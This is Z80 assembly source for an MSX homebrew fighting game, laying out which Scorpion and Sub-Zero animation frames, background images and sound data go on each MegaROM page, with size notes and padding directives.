; INCLUDE "Data/subzero/jumping-up/left/subzero_jumping_up_left_animation.s"
; INCLUDE "Data/subzero/jumping-forward/left/subzero_jumping_forward_left_animation.s"
; INCLUDE "Data/subzero/jumping-forward/left/subzero_jumping_backwards_left_animation.s"
; INCLUDE "Data/subzero/kick/left/subzero_low_kick_left_animation.s"
; INCLUDE "Data/subzero/kick/left/subzero_high_kick_left_animation.s"
; INCLUDE "Data/subzero/block/left/subzero_block_left_animation.s"
; INCLUDE "Data/subzero/crouching/left/subzero_crouching_left_animation.s"
; INCLUDE "Data/subzero/crouching-block/left/subzero_crouching_block_left_animation.s"
; INCLUDE "Data/subzero/hurt-1/left/subzero_hurt_1_left_animation.s"
; INCLUDE "Data/subzero/uppercut/left/subzero_uppercut_left_animation.s"
; --- Right
INCLUDE "Data/subzero/stance/right/subzero_stance_right_animation.s"
INCLUDE "Data/subzero/walking/right/subzero_walking_right_animation.s"
INCLUDE "Data/subzero/walking/right/subzero_walking_backwards_right_animation.s"
INCLUDE "Data/subzero/jumping-up/right/subzero_jumping_up_right_animation.s"
INCLUDE "Data/subzero/jumping-forward/right/subzero_jumping_forward_right_animation.s"
INCLUDE "Data/subzero/jumping-forward/right/subzero_jumping_backwards_right_animation.s"
; INCLUDE "Data/subzero/kick/right/subzero_low_kick_right_animation.s"
; INCLUDE "Data/subzero/kick/right/subzero_high_kick_right_animation.s"
; INCLUDE "Data/subzero/block/right/subzero_block_right_animation.s"
; INCLUDE "Data/subzero/crouching/right/subzero_crouching_right_animation.s"
; INCLUDE "Data/subzero/crouching-block/right/subzero_crouching_block_right_animation.s"
INCLUDE "Data/subzero/hurt-1/right/subzero_hurt_1_right_animation.s"
; INCLUDE "Data/subzero/uppercut/right/subzero_uppercut_right_animation.s"
db "End ROM started at 0x4000"
Page_0x4000_size: equ $ - Execute ; 0x04ba
ds PageSize - ($ - 0x4000), 255 ; Fill the unused area with 0xFF
; -----------------------------------------------------------------
; MegaROM pages at 0x8000
INCLUDE "MegaRomPages.s"
; -----------------------------------------------------------------
; RAM
org 0xc000, 0xe5ff ; for machines with 16kb of RAM (use it if you need 16kb RAM, will crash on 8kb machines, such as the Casio PV-7)
INCLUDE "Variables.s"
; -----------------------------------------------------------------
|
albs-br/msx-mk | 9,154 | MegaRomPages.s | ; MegaROM pages at 0x8000
; ------------------------------------------------- Page 1 -------------------------------------------------
MEGAROM_PAGE_BG_GOROS_LAIR_0: equ 1
org 0x8000, 0xBFFF
Bg_Top:
INCBIN "Images/mk-bg-top.sc5"
.size: equ $ - Bg_Top
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 2 -------------------------------------------------
MEGAROM_PAGE_BG_GOROS_LAIR_1: equ 2
org 0x8000, 0xBFFF
Bg_Bottom:
INCBIN "Images/mk-bg-bottom.sc5"
.size: equ $ - Bg_Bottom
MEGAROM_PAGE_FRAME_HEADERS: equ 2
INCLUDE "Data/scorpion/stance/left/scorpion_stance_left_frame_headers.s"
INCLUDE "Data/scorpion/walking/left/scorpion_walking_left_frame_headers.s"
INCLUDE "Data/scorpion/jumping-up/left/scorpion_jumping_up_left_frame_headers.s"
INCLUDE "Data/scorpion/jumping-forward/left/scorpion_jumping_forward_left_frame_headers.s"
INCLUDE "Data/scorpion/kick/left/scorpion_kick_left_frame_headers.s"
INCLUDE "Data/scorpion/block/left/scorpion_block_left_frame_headers.s"
INCLUDE "Data/scorpion/crouching/left/scorpion_crouching_left_frame_headers.s"
INCLUDE "Data/scorpion/crouching-block/left/scorpion_crouching_block_left_frame_headers.s"
; INCLUDE "Data/scorpion/hurt-1/left/scorpion_hurt_1_left_frame_headers.s"
INCLUDE "Data/scorpion/uppercut/left/scorpion_uppercut_left_frame_headers.s"
; TODO: repeat for right
; TODO: repeat for left
INCLUDE "Data/subzero/stance/right/subzero_stance_right_frame_headers.s"
INCLUDE "Data/subzero/walking/right/subzero_walking_right_frame_headers.s"
INCLUDE "Data/subzero/jumping-up/right/subzero_jumping_up_right_frame_headers.s"
INCLUDE "Data/subzero/jumping-forward/right/subzero_jumping_forward_right_frame_headers.s"
; INCLUDE "Data/subzero/kick/right/subzero_kick_right_frame_headers.s"
; INCLUDE "Data/subzero/block/right/subzero_block_right_frame_headers.s"
; INCLUDE "Data/subzero/crouching/right/subzero_crouching_right_frame_headers.s"
; INCLUDE "Data/subzero/crouching-block/right/subzero_crouching_block_right_frame_headers.s"
INCLUDE "Data/subzero/hurt-1/right/subzero_hurt_1_right_frame_headers.s"
; INCLUDE "Data/subzero/uppercut/right/subzero_uppercut_right_frame_headers.s"
MegaRom_Page_2_size: equ $ - 0x8000 ; 0x3b12
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 3 -------------------------------------------------
MEGAROM_PAGE_SCORPION_STANCE_LEFT_DATA_0: equ 3
org 0x8000, 0xBFFF
INCLUDE "Data/scorpion/stance/left/scorpion_stance_left_frames_0_to_6_data_and_list.s"
MegaRom_Page_3_size: equ $ - 0x8000 ; 0x31a1
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 4 -------------------------------------------------
MEGAROM_PAGE_SUBZERO_STANCE_RIGHT_DATA_0: equ 4
org 0x8000, 0xBFFF
INCLUDE "Data/subzero/stance/right/subzero_stance_right_frames_0_to_8_data_and_list.s"
MegaRom_Page_4_size: equ $ - 0x8000 ; 0x3cd5
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 5 -------------------------------------------------
MEGAROM_PAGE_SUBZERO_STANCE_RIGHT_DATA_1: equ 5
org 0x8000, 0xBFFF
INCLUDE "Data/subzero/stance/right/subzero_stance_right_frames_9_to_12_data_and_list.s"
MegaRom_Page_5_size: equ $ - 0x8000 ; 0x1afd
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 6 -------------------------------------------------
MEGAROM_PAGE_SUBZERO_WALKING_RIGHT_DATA_0: equ 6
org 0x8000, 0xBFFF
INCLUDE "Data/subzero/walking/right/subzero_walking_right_frames_0_to_8_data_and_list.s"
MegaRom_Page_6_size: equ $ - 0x8000 ; 0x3a2b
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 7 -------------------------------------------------
MEGAROM_PAGE_SCORPION_WALKING_LEFT_DATA_0: equ 7
org 0x8000, 0xBFFF
INCLUDE "Data/scorpion/walking/left/scorpion_walking_left_frames_0_to_8_data_and_list.s"
MegaRom_Page_7_size: equ $ - 0x8000 ; 0x3a2b
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 8 -------------------------------------------------
MEGAROM_PAGE_SCORPION_JUMPING_UP_LEFT_DATA_0: equ 8
MEGAROM_PAGE_SCORPION_JUMPING_FORWARD_LEFT_DATA_0: equ 8
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/scorpion/jumping-up/left/scorpion_jumping_up_left_frames_0_to_2_data.s"
INCLUDE "Data/scorpion/jumping-forward/left/scorpion_jumping_forward_left_frames_0_to_7_data.s"
; ------------ List ---------------
INCLUDE "Data/scorpion/jumping-up/left/scorpion_jumping_up_left_frames_0_to_2_list.s"
INCLUDE "Data/scorpion/jumping-forward/left/scorpion_jumping_forward_left_frames_0_to_7_list.s"
MegaRom_Page_8_size: equ $ - 0x8000 ; 0x2bcd
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 9 -------------------------------------------------
MEGAROM_PAGE_SUBZERO_JUMPING_UP_RIGHT_DATA_0: equ 9
MEGAROM_PAGE_SUBZERO_JUMPING_FORWARD_RIGHT_DATA_0: equ 9
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/subzero/jumping-up/right/subzero_jumping_up_right_frames_0_to_2_data.s"
INCLUDE "Data/subzero/jumping-forward/right/subzero_jumping_forward_right_frames_0_to_7_data.s"
; ------------ List ---------------
INCLUDE "Data/subzero/jumping-up/right/subzero_jumping_up_right_frames_0_to_2_list.s"
INCLUDE "Data/subzero/jumping-forward/right/subzero_jumping_forward_right_frames_0_to_7_list.s"
MegaRom_Page_9_size: equ $ - 0x8000 ; 0x2be0
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 10 -------------------------------------------------
MEGAROM_PAGE_SCORPION_KICK_LEFT_DATA_0: equ 10
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/scorpion/kick/left/scorpion_kick_left_frames_0_to_6_data.s"
; ------------ List ---------------
INCLUDE "Data/scorpion/kick/left/scorpion_kick_left_frames_0_to_6_list.s"
MegaRom_Page_10_size: equ $ - 0x8000 ; 0x27c7
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 11 -------------------------------------------------
MEGAROM_PAGE_SCORPION_BLOCK_LEFT_DATA_0: equ 11
MEGAROM_PAGE_SCORPION_CROUCHING_LEFT_DATA_0: equ 11
MEGAROM_PAGE_SCORPION_CROUCHING_BLOCK_LEFT_DATA_0: equ 11
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/scorpion/block/left/scorpion_block_left_frames_0_to_2_data.s"
INCLUDE "Data/scorpion/crouching/left/scorpion_crouching_left_frames_0_to_2_data.s"
INCLUDE "Data/scorpion/crouching-block/left/scorpion_crouching_block_left_frames_0_to_0_data.s"
data_size: equ $ - 0x8000 ; 0x1a84
list_start:
; ------------ List ---------------
INCLUDE "Data/scorpion/block/left/scorpion_block_left_frames_0_to_2_list.s"
INCLUDE "Data/scorpion/crouching/left/scorpion_crouching_left_frames_0_to_2_list.s"
INCLUDE "Data/scorpion/crouching-block/left/scorpion_crouching_block_left_frames_0_to_0_list.s"
list_size: equ $ - list_start ; 0x0d53
MegaRom_Page_11_size: equ $ - 0x8000 ; 0x27d7 = ? ; 16384 - ? = ?
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Page 12 -------------------------------------------------
MEGAROM_PAGE_SUBZERO_HURT_1_RIGHT_DATA_0: equ 12
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/subzero/hurt-1/right/subzero_hurt_1_right_frames_0_to_3_data.s"
; ------------ List ---------------
INCLUDE "Data/subzero/hurt-1/right/subzero_hurt_1_right_frames_0_to_3_list.s"
MegaRom_Page_12_size: equ $ - 0x8000 ; 0x176b = 5995 bytes ; 16384 - 5995 = 10309 bytes free
ds PageSize - ($ - 0x8000), 255
; ------------------------------------------------- Pages 13 to 16 -------------------------------------------------
MEGAROM_PAGE_SOUNDS_HEADERS: equ 13
MEGAROM_PAGES_SOUNDS_DATA: equ 13
org 0x00
INCLUDE "Sounds/Headers.s"
SoundsHeaders_size: equ $ - 0x00 ; 0x?? = ?? bytes ; 16384 - ? = ?
org 0x201200
INCLUDE "Sounds/Data.s"
SoundsData_size: equ $ - 0x201200 ; 0x???? = ? ; 65536 - ? = ?
ds 0x201200 + (PageSize * 4) - $ - SoundsHeaders_size ; fill with zeroes
SoundsTotal_size: equ SoundsHeaders_size + SoundsData_size ; 0x05490 = 21648 bytes ; this value must be less than 64 kb (4 megarom pages)
; WARNING: currently loading only the first 48 kb
; ------------------------------------------------- Page 17 -------------------------------------------------
MEGAROM_PAGE_SCORPION_UPPERCUT_LEFT_DATA_0: equ 17
org 0x8000, 0xBFFF
; ------------ Data ---------------
INCLUDE "Data/scorpion/uppercut/left/scorpion_uppercut_left_frames_0_to_5_data.s"
; ------------ List ---------------
INCLUDE "Data/scorpion/uppercut/left/scorpion_uppercut_left_frames_0_to_5_list.s"
; TODO: put this position on page 12 free space
MegaRom_Page_17_size: equ $ - 0x8000 ; 0x2779 = 10105 bytes ; 16384 - ? = ?
ds PageSize - ($ - 0x8000), 255
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.